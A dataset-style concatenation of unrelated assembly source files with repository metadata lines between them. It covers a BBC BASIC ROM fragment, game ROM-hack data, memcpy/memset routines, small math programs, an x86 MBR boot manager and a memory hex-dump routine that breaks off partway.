pha ; Atom - A=0/1, BBC - A=0/2
jsr LBFB5 ; Evaluate #handle, point to IntA
ldx #$2A
pla
jsr OSARGS
lda #$40 ; Return integer
rts
; BPUT#numeric, numeric
; =====================
LBF58:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBFA9 ; Evaluate #handle
pha
jsr L8AAE
jsr L9849
jsr L92EE
pla
tay
lda $2A
jsr OSBPUT ; Call OSBPUT, jump to execution loop
jmp L8B9B
.endif
;=BGET#numeric
;=============
LBF6F:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBFB5 ; Evaluate #handle
jsr OSBGET
jmp LAED8 ; Jump to return 8-bit integer
.endif
; OPENIN f$ - Call OSFIND to open file for input
; ==============================================
LBF78:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
lda #$40 ; $40=OPENUP
bne LBF82
.endif
; OPENOUT f$ - Call OSFIND to open file for output
; ================================================
LBF7C:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
lda #$80 ; $80=OPENOUT
bne LBF82
.endif
; OPENUP f$ - Call OSFIND to open file for update
; ===============================================
LBF80:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
lda #$C0 ; $C0=OPENUP
LBF82:
pha
jsr LADEC ; Evaluate, if not string, jump to error
bne LBF96
jsr LBEBA ; Terminate string with <cr>
ldx #$00 ; Point to string buffer, get action back
ldy #$06
pla
jsr OSFIND ; Pass to OSFIND, jump to return integer from A
jmp LAED8
LBF96:
jmp L8C0E ; Jump to 'Type mismatch' error
.endif
; CLOSE#numeric
; =============
LBF99:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBFA9 ; Evaluate #handle, check end of statement
jsr L9852
ldy $2A ; Get handle from IntA
lda #$00
jsr OSFIND
jmp L8B9B ; Jump back to execution loop
.endif
; Copy PtrA to PtrB, then get handle
; ==================================
LBFA9:
lda $0A ; Set PtrB to program pointer in PtrA
sta $1B
lda $0B
sta $19
lda $0C
sta $1A
; Check for '#', evaluate channel
; ===============================
LBFB5:
jsr L8A8C ; Skip spaces
cmp #'#' ; If not '#', jump to give error
bne LBFC3
jsr L92E3 ; Evaluate as integer
LBFBF:
ldy $2A ; Get low byte and return
tya
rts
LBFC3:
brk
.byte $2D, "Missing #"
brk
; Print inline text
; =================
LBFCF:
pla ; Pop return address to pointer
sta $37
pla
sta $38
ldy #$00 ; Jump into loop
beq LBFDC
LBFD9:
jsr OSASCI ; Print character
LBFDC:
jsr L894B ; Update pointer, get character, loop if b7=0
bpl LBFD9
jmp ($0037) ; Jump back to program
; REPORT
; ======
LBFE4:
jsr L9857 ; Check end of statement, print newline, clear COUNT
jsr LBC25
ldy #$01
LBFEC:
lda (FAULT),y ; Get byte, exit if &00 terminator
beq LBFF6
jsr LB50E ; Print character or token, loop for next
iny
bne LBFEC
LBFF6:
jmp L8B9B ; Jump to main execution loop
brk
.byte "Roger"
brk
LC000:
.if .defined(PSBC)
.include "mos.asm"
.endif
| 22.723892
| 101
| 0.3755
|
6c9f888e16f03ea119e4766c6692594bee07d36b
| 424
|
asm
|
Assembly
|
data/pokemon/base_stats/pendraken.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
data/pokemon/base_stats/pendraken.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/base_stats/pendraken.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 2
|
2021-08-11T19:47:07.000Z
|
2022-01-01T07:07:56.000Z
|
db 0 ; species ID placeholder
db 85, 80, 95, 80, 80, 115
; hp atk def spd sat sdf
db WATER, WATER ; type
db 60 ; catch rate
db 205 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/pendraken/front.dimensions"
db GROWTH_SLOW ; growth rate
dn EGG_WATER_3, EGG_WATER_3 ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm
; end
| 21.2
| 48
| 0.681604
|
8df58768332ff2772d6415a81f3e4509c9313304
| 676
|
asm
|
Assembly
|
data/actors/ship-cannon.asm
|
sinusoid-studios/rhythm-land
|
6471f1d7b7d885bbb898888645ac291d45125134
|
[
"MIT"
] | 11
|
2021-08-10T20:31:11.000Z
|
2021-12-28T11:57:03.000Z
|
data/actors/ship-cannon.asm
|
sinusoid-studios/rhythm-land
|
6471f1d7b7d885bbb898888645ac291d45125134
|
[
"MIT"
] | null | null | null |
data/actors/ship-cannon.asm
|
sinusoid-studios/rhythm-land
|
6471f1d7b7d885bbb898888645ac291d45125134
|
[
"MIT"
] | 1
|
2021-10-02T17:49:10.000Z
|
2021-10-02T17:49:10.000Z
|
INCLUDE "constants/hardware.inc"
INCLUDE "constants/actors.inc"
INCLUDE "macros/actors.inc"
SECTION "Battleship Ship Cannon Actor Animation Data", ROMX
xActorShipCannonAnimation::
animation ShipCannon
cel forward, ANIMATION_DURATION_FOREVER
SECTION "Battleship Ship Cannon Actor Meta-Sprite Data", ROMX
xActorShipCannonMetasprites::
metasprite .forward
metasprite .left
metasprite .right
.forward
obj 0, 0, $2A, OAMF_PAL1
obj 0, 8, $2C, OAMF_PAL1
DB METASPRITE_END
.left
obj 0, 0, $2E, OAMF_PAL1
obj 0, 8, $30, OAMF_PAL1
DB METASPRITE_END
.right
obj 0, 0, $32, OAMF_PAL1
obj 0, 8, $34, OAMF_PAL1
DB METASPRITE_END
| 21.806452
| 61
| 0.718935
|
d1a5d83d657547d37c079c11bdebcadc8efa4035
| 820
|
asm
|
Assembly
|
ver0/4_osInOrder/0_fileInOrder/kernel/asm/memLibA.asm
|
RongbinZhuang/simpleOS
|
81a817eb5f2c7891ab3f107a5cd5e0f0c31af143
|
[
"MIT"
] | null | null | null |
ver0/4_osInOrder/0_fileInOrder/kernel/asm/memLibA.asm
|
RongbinZhuang/simpleOS
|
81a817eb5f2c7891ab3f107a5cd5e0f0c31af143
|
[
"MIT"
] | null | null | null |
ver0/4_osInOrder/0_fileInOrder/kernel/asm/memLibA.asm
|
RongbinZhuang/simpleOS
|
81a817eb5f2c7891ab3f107a5cd5e0f0c31af143
|
[
"MIT"
] | null | null | null |
[section .text]
global memcpy
global memset
memcpy:
push ebp
mov ebp ,esp
push esi
push edi
push ecx
mov edi ,[ebp+8]
mov esi ,[ebp+12]
mov ecx ,[ebp+16]
.1:
cmp ecx ,0
jz .2
mov al ,[ds:esi]
inc esi
mov BYTE[es:edi] ,al
inc edi
dec ecx
jmp .1
.2:
mov eax ,[ebp+8]
pop ecx
pop edi
pop esi
mov esp ,ebp
pop ebp
ret
memset:
push ebp
mov ebp, esp
push esi
push edi
push ecx
mov edi, [ebp + 8] ; Destination
mov edx, [ebp + 12] ; Char to be putted
mov ecx, [ebp + 16] ; Counter
.1:
cmp ecx, 0 ; 判断计数器
jz .2 ; 计数器为零时跳出
mov byte [edi], dl ; ┓
inc edi ; ┛
dec ecx ; 计数器减一
jmp .1 ; 循环
.2:
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret ; 函数结束,返回
; ------------------------------------------------------------------------
| 12.8125
| 74
| 0.515854
|
23749723770af3d75367d72df5bced0f8fe72555
| 148
|
asm
|
Assembly
|
test_noof1s.asm
|
sekharkaredla/8085
|
bca7395498d013c0a337f696aad49ead34f8cbdd
|
[
"MIT"
] | 1
|
2019-07-31T04:41:42.000Z
|
2019-07-31T04:41:42.000Z
|
test_noof1s.asm
|
sekharkaredla/8085
|
bca7395498d013c0a337f696aad49ead34f8cbdd
|
[
"MIT"
] | null | null | null |
test_noof1s.asm
|
sekharkaredla/8085
|
bca7395498d013c0a337f696aad49ead34f8cbdd
|
[
"MIT"
] | 1
|
2022-01-11T07:50:34.000Z
|
2022-01-11T07:50:34.000Z
|
LDA 20F0
MVI B,08
MVI C,00
STC
CMC
L1: RAL
JNC L2
INR C
L2: DCR B
JNZ L1
MOV A,C
STA 20F1
RST 1
| 9.25
| 12
| 0.445946
|
78ec0666efd9731368c69afd3312548e72e4083b
| 262
|
asm
|
Assembly
|
programs/oeis/199/A199419.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/199/A199419.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/199/A199419.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A199419: 4*7^n+1.
; 5,29,197,1373,9605,67229,470597,3294173,23059205,161414429,1129900997,7909306973,55365148805,387556041629,2712892291397,18990246039773,132931722278405,930522055948829,6513654391641797,45595580741492573
mov $1,7
pow $1,$0
mul $1,4
add $1,1
| 32.75
| 203
| 0.812977
|
3759672fed405e69f3eb66aa5fb00eef424b35d1
| 431
|
asm
|
Assembly
|
programs/oeis/210/A210448.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/210/A210448.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/210/A210448.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A210448: Total number of different letters summed over all ternary words of length n.
; 0,3,15,57,195,633,1995,6177,18915,57513,174075,525297,1582035,4758393,14299755,42948417,128943555,387027273,1161475035,3485211537,10457207475,31374768153,94130595915,282404370657,847238277795,2541765165033,7625396158395,22876389801777,68629572058515
mov $3,1
lpb $0
sub $0,1
add $1,$3
mov $2,$1
add $2,$1
add $1,$2
mul $3,2
lpe
| 33.153846
| 251
| 0.772622
|
acf8e55a8b4180ade440006cb02dbd8b0ae951e5
| 97
|
asm
|
Assembly
|
Working Disassembly/Levels/MHZ/Misc Object Data/Map - Act 2 Knuckles Leaves.asm
|
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
|
7e8a2c5df02271615ff4cae529521e6b1560d6b1
|
[
"Apache-2.0"
] | 5
|
2021-07-09T08:17:56.000Z
|
2022-02-27T19:57:47.000Z
|
Working Disassembly/Levels/MHZ/Misc Object Data/Map - Act 2 Knuckles Leaves.asm
|
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
|
7e8a2c5df02271615ff4cae529521e6b1560d6b1
|
[
"Apache-2.0"
] | null | null | null |
Working Disassembly/Levels/MHZ/Misc Object Data/Map - Act 2 Knuckles Leaves.asm
|
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
|
7e8a2c5df02271615ff4cae529521e6b1560d6b1
|
[
"Apache-2.0"
] | null | null | null |
Map_66B44: dc.w word_66B46-Map_66B44
word_66B46: dc.w 1
dc.b $FC, 0, 0, 0, $FF, $FC
| 24.25
| 37
| 0.587629
|
48252ef28cd54e585682f08eed1f5bab8283815c
| 19,728
|
asm
|
Assembly
|
mbr.asm
|
egormkn/bootloader
|
11a40b54690ce3b3f001e63c60ac2fdf16d77edf
|
[
"Unlicense"
] | 38
|
2019-10-09T05:54:16.000Z
|
2022-03-08T08:52:07.000Z
|
mbr.asm
|
egormkn/MBR-Boot-Manager
|
11a40b54690ce3b3f001e63c60ac2fdf16d77edf
|
[
"Unlicense"
] | 1
|
2017-03-11T06:43:20.000Z
|
2017-03-12T07:37:47.000Z
|
mbr.asm
|
egormkn/bootloader
|
11a40b54690ce3b3f001e63c60ac2fdf16d77edf
|
[
"Unlicense"
] | 14
|
2020-01-22T19:24:10.000Z
|
2022-03-16T20:06:59.000Z
|
;********************************************************************;
;* x86 Master Boot Record *;
;* *;
;* github.com/egormkn/MBR-Boot-Manager *;
;********************************************************************;
%define SIZE 512 ; MBR sector size (512 bytes)
%define BASE 0x7C00 ; Address at which BIOS will load MBR
%define DEST 0x0600 ; Address at which MBR should be copied
%define ENTRY_NUM 4 ; Number of partition entries
%define ENTRY_SIZE 16 ; Partition table entry size
%define DISK_ID 0x12345678 ; NT Drive Serial Number (4 bytes)
%define TOP 8 ; Padding from the top
%define LEFT 32 ; Padding from the left
%define COLOR 0x02 ; Background and text color
;********************************************************************;
;* NASM settings *;
;********************************************************************;
[BITS 16] ; Enable 16-bit real mode
[ORG BASE] ; Set the base address for MBR
;********************************************************************;
;* Prepare registers *;
;********************************************************************;
CLI ; Clear interrupts
MOV SP, BASE ; Set Stack Pointer to BASE
XOR AX, AX ; Zero out the Accumulator register
MOV SS, AX ; Zero out Stack Segment register
MOV ES, AX ; Zero out Extra Segment register
MOV DS, AX ; Zero out Data Segment register
PUSH DX ; Save DX value passed by BIOS
;********************************************************************;
;* Copy MBR to DEST and jump there *;
;********************************************************************;
MOV SI, BASE ; Source Index to copy code from
MOV DI, DEST ; Destination Index to copy code to
MOV CX, SIZE ; Number of bytes to be copied
CLD ; Clear Direction Flag (move forward)
REP MOVSB ; Repeat MOVSB instruction for CX times
JMP SKIP + DEST ; Jump to copied code skipping part above
SKIP: EQU ($ - $$) ; Go here in copied code
;********************************************************************;
;* Set BIOS video mode *;
;********************************************************************;
STI ; Enable interrupts
MOV AX, 0x0003 ; Set video mode to 0x03 (80x25, 4-bit)
INT 0x10 ; Change video mode (function 0x00)
; Destroyed: AX, SP, BP, SI, DI
MOV AX, 0x0600 ; Scroll window (0x00 lines => clear)
MOV BH, COLOR ; Background and text color
XOR CX, CX ; Upper-left point (row: 0, column: 0)
MOV DX, 0x184F ; Lower-right point (row: 24, column: 79)
INT 0x10 ; Scroll up window (function 0x06)
; Destroyed: AX, SP, BP, SI, DI
MOV AX, 0x0103 ; Set cursor shape for video mode 0x03
MOV CX, 0x0105 ; Display lines 1-5 (max: 0-7)
INT 0x10 ; Change cursor shape (function 0x01)
; Destroyed: AX, SP, BP, SI, DI
;********************************************************************;
;* Print Partition table *;
;********************************************************************;
MOV CX, ENTRY_NUM ; Maximum of four entries as loop counter
MOV BP, 494 + DEST ; Location of last entry in the table
XOR BX, BX ; BL = active index, BH = page number
%define ZERO BH ; BH now always holds 0x00, that will be
; used to minify the generated code
FOR_PARTITIONS: ; Loop for each partition entry (4 to 1)
PUSH BP ; Save BP state
CMP BYTE [BP], 0x80 ; Check for active state of partition
JNE NOT_ACTIVE ; Partition is not active, skip
MOV BL, CL ; Save index of active partition
NOT_ACTIVE: ; Go here if partition is not active
MOV AH, 0x02 ; Set cursor position, BH set to 0x00
MOV DX, TOP*0x100+LEFT+2 ; DH = row, DL = column
ADD DH, CL ; Change the row according to CL
INT 0x10 ; Change cursor position (function 0x02)
; Destroyed: AX, SP, BP, SI, DI
MOV SI, PARTITION_STR_ID ; Print partition title
CALL PRINT_STRING ; Call printing routine
MOV AL, 0x30 ; Put ASCII code for 0 to AL
ADD AL, CL ; Get partition number ASCII code
MOV AH, 0x0E ; Character print function
INT 0x10 ; Print partition number
; Destroyed: AX
CMP BL, CL ; Compare current partition with active
JNE SKIP_ACTIVE_LABEL ; If current is not active, skip printing
MOV SI, ACTIVE_STR_ID ; Print partition title
CALL PRINT_STRING ; Call printing routine
SKIP_ACTIVE_LABEL: ; Go here to skip printing of "active"
POP BP ; Restore BP state
SUB BP, ENTRY_SIZE ; Switch to the previous partition entry
LOOP FOR_PARTITIONS ; Print another entry unless CX = 0
CMP BYTE BL, ZERO ; Check if we found an active partition
JNE RUN_MANAGER ; If there is one, just display menu
INC BX ; If not, set cursor to first entry
JMP MENU_LOOP ; And display menu
RUN_MANAGER:
;********************************************************************;
;* Skip menu if Shift key is not pressed *;
;********************************************************************;
MOV AH, 0x02 ; Get the shift status of the keyboard
INT 0x16 ; Get flags of keyboard state to AL
AND AL, 0x03 ; AND bitmask for left and right shift
CMP AL, ZERO ; Check for shift keys
JE BOOT ; Skip menu if shift key is not pressed
;********************************************************************;
;* Display boot menu *;
;********************************************************************;
MENU_LOOP: ; Menu loop
MOV AH, 0x02 ; Set cursor position, BH set to 0x00
MOV DX, TOP*0x100+LEFT ; DH = row, DL = column
ADD DH, BL ; Change the row according to BL
INT 0x10 ; Change cursor position (function 0x02)
; Destroyed: AX, SP, BP, SI, DI
MOV AH, ZERO ; Read key code from keyboard
INT 0x16 ; Get key code (function 0x00)
CMP AX, 0x4800 ; Check for UP arrow
JE MOVE_UP ; Move selection up
CMP AX, 0x5000 ; Check for DOWN arrow
JE MOVE_DOWN ; Move selection down
CMP AX, 0x011B ; Check for Esc key
JE REBOOT ; Reboot
CMP AX, 0x1C0D ; Check for Enter key
JE BOOT ; Boot from selected partition
JMP MENU_LOOP ; Read another key
;********************************************************************;
;* Boot menu routines *;
;********************************************************************;
MOVE_UP: ; Move cursor up
CMP BL, 0x01 ; Check if cursor is at the first entry
JLE MOVE_UP_RET ; If it is, do nothing
DEC BX ; Move it up by decrementing index
MOVE_UP_RET:
JMP MENU_LOOP ; Return to menu loop
MOVE_DOWN: ; Move cursor down
CMP BL, 0x04 ; Check if cursor is at the last entry
JAE MOVE_DOWN_RET ; If it is, do nothing
INC BX ; Move it down by incrementing index
MOVE_DOWN_RET:
JMP MENU_LOOP ; Return to menu loop
;********************************************************************;
;* Print Partition subroutine *;
;********************************************************************;
PRINT_ERROR:
MOV SI, ERROR_STR_ID ; Put error message id to SI
CALL PRINT_STRING ; Print error message from SI
MOV AX, 0x8600 ; Function 0x86 - wait
MOV CX, 0x002D ; Put time in microseconds to CX:DX
XOR DX, DX ; Use zero here to minify code
INT 0x15 ; Wait 3 seconds
JMP REBOOT ; Reboot
ROM_BASIC:
INT 0x18 ; Start ROM-BASIC or display an error
RELOAD:
INT 0x19 ; Jump to first sector of disk
REBOOT:
JMP 0xFFFF:0x0000 ; Perform a cold reboot
HALT:
HLT ; Halt system
JMP HALT ; Forever loop just because
;********************************************************************;
;* Select the way of working with the disk *;
;********************************************************************;
; BX = selected partition (1..4), DX is on stack
BOOT:
PUSH BX ; Save state of BX (selected partition)
MOV AH, 0x02 ; Set cursor position, BH set to 0x00
MOV DX, 0x0101 ; DH = row, DL = column
INT 0x10 ; Change cursor position (function 0x02)
; Destroyed: AX, SP, BP, SI, DI
MOV AX, 0x0600 ; Scroll window (0x00 lines => clear)
MOV BH, COLOR ; Background and text color
XOR CX, CX ; Upper-left point (row: 0, column: 0)
MOV DX, 0x184F ; Lower-right point (row: 24, column: 79)
INT 0x10 ; Scroll up window (function 0x06)
; Destroyed: AX, SP, BP, SI, DI
MOV BP, 430 + DEST ; Put (446 - ENTRY_NUM) to BP
POP BX ; Restore saved state of BX
SHL BX, 4 ; Multiply partition index by 16
ADD BP, BX ; Add offset to BP
POP DX ; Restore saved state of DX got from BIOS
MOV [BP], DL ; Put DH = BIOS disk number to [BP]
PUSH BP ; Save Base Pointer on Stack
MOV BYTE [BP+0x11], 5 ; Number of attempts of reading the disk
MOV BYTE [BP+0x10], ZERO ; Used as a flag for the INT13 Extensions
MOV AH, 0x41 ;/ INT13h BIOS Extensions check
MOV BX, 0x55AA ;| AH = 0x41, BX = 0x55AA,
INT 0x13 ;| DL = BIOS disk number (HDD1 = 0x80)
;| If CF flag cleared and [BX] changes to
;| 0xAA55, they are installed
;| Major version is in AH: 01h=1.x;
;| 20h=2.0/EDD-1.0; 21h=2.1/EDD-1.1;
;| 30h=EDD-3.0.
;| CX = API subset support bitmap.
;| If bit 0 is set, extended disk access
;| functions (AH=42h-44h,47h,48h) are
;| supported. Only if no extended support
;\ is available, will it fail TEST
POP BP ; Restore Base Pointer from stack
JB TRY_READ ; CF not cleared, no INT 13 Extensions
CMP BX, 0xAA55 ; Did contents of BX reverse?
JNZ TRY_READ ; BX not reversed, no INT 13 Extensions
TEST CX, 0x0001 ; Check functions support
JZ TRY_READ ; Bit 0 not set, no INT 13 Extensions
INC BYTE [BP+0x10] ; Set INT13 Extensions flag
TRY_READ:
PUSHAD ; Save all registers on the stack
; ax, cx, dx, bx, sp, bp, si, di
CMP BYTE [BP+10], 00 ; Compare INT13 Extensions flag to zero
JZ INT13_BASIC ; If 0, can't use Extensions.
;********************************************************************;
;* Read VBR with INT13 Extended Read *;
;********************************************************************;
; The following code uses INT 13, Function 0x42 ("Extended Read")
; by first pushing the "Disk Address Packet" onto the Stack in
; reverse order of how it will read the data
;
; Offset Size Description of DISK ADDRESS PACKET's Contents
; ------ ------ ------------------------------------------------------
; 0x00 BYTE Size of packet (0x10 or 0x18; 16 or 24 bytes)
; 0x01 BYTE Reserved (0x00)
; 0x02 WORD Number of blocks to transfer (Only 1 sector for us)
; 0x04 DWORD Points to -> Transfer Buffer (00007C00 for us)
; 00x8 QWORD Starting Absolute Sector (get from Partition Table:
; (00000000 + DWORD PTR [BP+0x08]). Remember, the
; Partition Table Preceding Sectors entry can only be
; a max. of 32 bits!
; 10h QWORD (EDD-3.0, optional) 64-bit flat address of transfer
; buffer; only used if DWORD at 04h is FFFF:FFFF
PUSH DWORD 0x0 ; Push 4 zero-bytes (32-bits) onto
; Stack to pad VBR's Starting Sector
PUSH DWORD [BP+0x08] ; Location of VBR Sector
PUSH WORD 0x0 ; Segment then Offset parts, so:
PUSH WORD 0x7C00 ; copy Sector to 0x7c00 in Memory
PUSH WORD 0x0001 ; Copy only 1 sector
PUSH WORD 0x0010 ; Reserved and Packet Size (16 bytes)
MOV AH, 0x42 ; Function 42h
MOV DL, [BP] ; Drive Number
MOV SI, SP ; DS:SI must point to Disk Address Packet
INT 0x13 ; Try to get VBR Sector from disk
; If successful, CF is cleared (0) and AH set to 00h.
; If any errors, CF is set to 1 and AH = error code. In either case,
; DAP's block count field is set to number of blocks actually transferred
LAHF ; Load Status flags into AH.
ADD SP, 0x10 ; Effectively removes all the DAP bytes
; from Stack by changing Stack Pointer.
SAHF ; Save AH into flags register, so we do
; not change Status flags by doing so!
JMP READ_SECTOR
;********************************************************************;
;* Read VBR without INT13 Extensions *;
;********************************************************************;
INT13_BASIC:
MOV AX, 0x0201 ; Function 02h, read only 1 sector
MOV BX, 0x7C00 ; Buffer for read starts at 7C00
MOV DL, [BP+00] ; DL = Disk Drive
MOV DH, [BP+01] ; DH = Head number (never use FFh).
MOV CL, [BP+02] ; Bits 0-5 of CL (max. value 3Fh)
; make up the Sector number.
MOV CH, [BP+03] ; Bits 6-7 of CL become highest two
; bits (8-9) with bits 0-7 of CH to
; make Cylinder number (max. 3FFh).
INT 0x13 ; INT13, Function 02h: READ SECTORS
; into Memory at ES:BX (0000:7C00).
;********************************************************************;
;* Read loaded VBR sector *;
;********************************************************************;
READ_SECTOR:
POPAD ; Restore all 32-bit Registers from stack
JNB CHECK_OS ; Sector loaded successfully
DEC BYTE [BP+0x11] ; Decrement count of trials (set to 5)
JZ PRINT_ERROR ; If 0, we tried five times. Show error
RESET_DISK:
PUSH BP ; Save BP state
XOR AH, AH ; Function 0x00
MOV DL, [BP+00] ; Put BIOS disk number to DL
INT 0x13 ; Reset disk
POP BP ; Restore BP state
JMP TRY_READ ; Try again
CHECK_OS:
CMP WORD [0x7DFE], 0xAA55
JNZ PRINT_ERROR ; Missing bootable mark
CMP WORD [0x7C00], 0x0000
JE PRINT_ERROR ; No bootloader code
;********************************************************************;
;* Jump to loaded VBR *;
;********************************************************************;
MOV DX, [BP] ; Get disk ID from BIOS; often 0x80
XOR DH, DH ; Only DL part matters
JMP 0x0000:0x7C00 ; Jump to VBR
;********************************************************************;
;* Print String and Print Char *;
;********************************************************************;
; ===== PRINT_STRING =====
; SI: string with 0-end
; BH: page (text mode only)
; BL: color (graphics mode)
PRINT_STRING: ; Changes: SI, AX; BH set to 0x00
MOV AH, 0x0E ; Character print function
LOAD_CHAR: ; Print all characters in loop
LODSB ; Load character into AL from [SI]
CMP AL, 0x00 ; Check for end of string
JZ PRINT_STRING_RET ; Return if string is printed
INT 0x10 ; Print character
JMP LOAD_CHAR ; Go for another character
PRINT_STRING_RET: RET ; Return
;********************************************************************;
;* Strings *;
;********************************************************************;
PARTITION_STR: DB "Partition ", 0
ACTIVE_STR: DB " (A)", 0
ERROR_STR: DB "Boot sector error", 0x0D, 0x0A, 0
PARTITION_STR_ID: EQU PARTITION_STR - BASE + DEST
ACTIVE_STR_ID: EQU ACTIVE_STR - BASE + DEST
ERROR_STR_ID: EQU ERROR_STR - BASE + DEST
;********************************************************************;
;* Fill other bytes with 0x00 *;
;********************************************************************;
TIMES 440 - ($ - $$) DB 0x00 ; Fill the rest with 0x00
;********************************************************************;
;* NT Disk Number *;
;********************************************************************;
DD DISK_ID ; NT Drive Serial Number
DW 0x0000 ; Padding (must be 0x0000)
;********************************************************************;
;* Partition Table *;
;********************************************************************;
TABLE_SIZE: EQU (ENTRY_NUM * ENTRY_SIZE) ; Should be 4*16 = 64
TABLE_OFFSET: EQU (SIZE - TABLE_SIZE - 2) ; Should be 512-64-2 = 446
TIMES TABLE_SIZE DB 0x00 ; Zero out partition table
DB 0x55, 0xAA ; Mark sector as bootable
| 47.652174
| 73
| 0.431012
|
18049dc0eb1439f755abf4e33e5d1de138bdcf28
| 333
|
asm
|
Assembly
|
scripts/celadonmart4.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
scripts/celadonmart4.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
scripts/celadonmart4.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
CeladonMart4Script:
jp EnableAutoTextBoxDrawing
CeladonMart4TextPointers:
dw CeladonMart4ClerkText
dw CeladonMart4Text2
dw CeladonMart4Text3
dw CeladonMart4Text4
CeladonMart4Text2:
TX_FAR _CeladonMart4Text2
db "@"
CeladonMart4Text3:
TX_FAR _CeladonMart4Text3
db "@"
CeladonMart4Text4:
TX_FAR _CeladonMart4Text4
db "@"
| 15.857143
| 28
| 0.831832
|
900febc52d1f638bba894d5dd26f147f079b77fe
| 102
|
asm
|
Assembly
|
Src/Ant8/Tests/aa8/basic/e_lc_3.asm
|
geoffthorpe/ant-architecture
|
d85952e3050c352d5d715d9749171a335e6768f7
|
[
"BSD-3-Clause"
] | null | null | null |
Src/Ant8/Tests/aa8/basic/e_lc_3.asm
|
geoffthorpe/ant-architecture
|
d85952e3050c352d5d715d9749171a335e6768f7
|
[
"BSD-3-Clause"
] | null | null | null |
Src/Ant8/Tests/aa8/basic/e_lc_3.asm
|
geoffthorpe/ant-architecture
|
d85952e3050c352d5d715d9749171a335e6768f7
|
[
"BSD-3-Clause"
] | 1
|
2020-07-15T04:09:05.000Z
|
2020-07-15T04:09:05.000Z
|
# $Id: e_lc_3.asm,v 1.1 2001/03/14 16:57:29 ellard Exp $
#@ tests for illegal format of lc.
lc r2 1
| 20.4
| 56
| 0.656863
|
94ebc6d8fd94a44fdd4c321014c9106d9a0e587d
| 1,364
|
asm
|
Assembly
|
helloos/Bootloader/loader.debug.dump.asm
|
kbu1564/HelloOS
|
a30ed7822ec4ac250717fad6e2d4529a4970ccd9
|
[
"MIT"
] | 15
|
2015-01-19T04:20:29.000Z
|
2022-01-25T14:03:07.000Z
|
helloos/Bootloader/loader.debug.dump.asm
|
kbu1564/HelloOS
|
a30ed7822ec4ac250717fad6e2d4529a4970ccd9
|
[
"MIT"
] | 10
|
2015-01-25T08:09:08.000Z
|
2016-11-09T03:15:29.000Z
|
helloos/Bootloader/loader.debug.dump.asm
|
kbu1564/HelloOS
|
a30ed7822ec4ac250717fad6e2d4529a4970ccd9
|
[
"MIT"
] | 9
|
2015-03-20T06:58:14.000Z
|
2021-11-29T07:00:14.000Z
|
; 특정 메모리 주소의 CX바이트 영역의 메모리 HEX 값을
; 덤프하는 함수
; push 출력할 Y좌표 값
; push 출력할 X좌표 값
; push 출력할 바이트 수
; push 출력할 메모리 주소
_print_byte_dump:
push bp
mov bp, sp
pusha
push es
; 라인수 계산하기
mov dl, byte [bp+10]
mov al, 80 * 2
mul dl
add ax, word [bp+8]
inc dl
; 라인수 계산
mov si, ax
xor dx, dx
xor ax, ax
mov di, [bp+4]
; init
mov cx, [bp+6]
add cx, cx
; cx = cx * 2
mov ax, 0xB800
mov es, ax
; video memory
.for_loop:
cmp dx, cx
je .for_end
; break for_loop
mov bl, byte [di]
mov al, bl
; 1byte copy
mov bx, dx
and bx, 1
; 최하위 1bit가 1이면 홀수 0이면 짝수
cmp bx, 1
jne .hex4bit
inc di
; 다음 메모리 값 검사
shl al, 4
.hex4bit:
shr al, 4
and al, 0x0F
; 상위 4bit and mask
mov bx, dx
and bx, 1
cmp bx, 1
je .hex1byteSpace
cmp dx, 0
jbe .hex1byteSpace
; di 값이 짝수라면 공백을 출력하지 않음
mov byte [es:si], 0x20
mov byte [es:si+1], 0x04
; 공백 출력
add si, 2
.hex1byteSpace:
cmp al, 10
jae .hex4bitAtoF
add al, 0x30
; 0 ~ 9
jmp .hex4bitPrint
.hex4bitAtoF:
add al, 0x37
; 10 ~ 15
jmp .hex4bitPrint
.hex4bitPrint:
mov byte [es:si], al
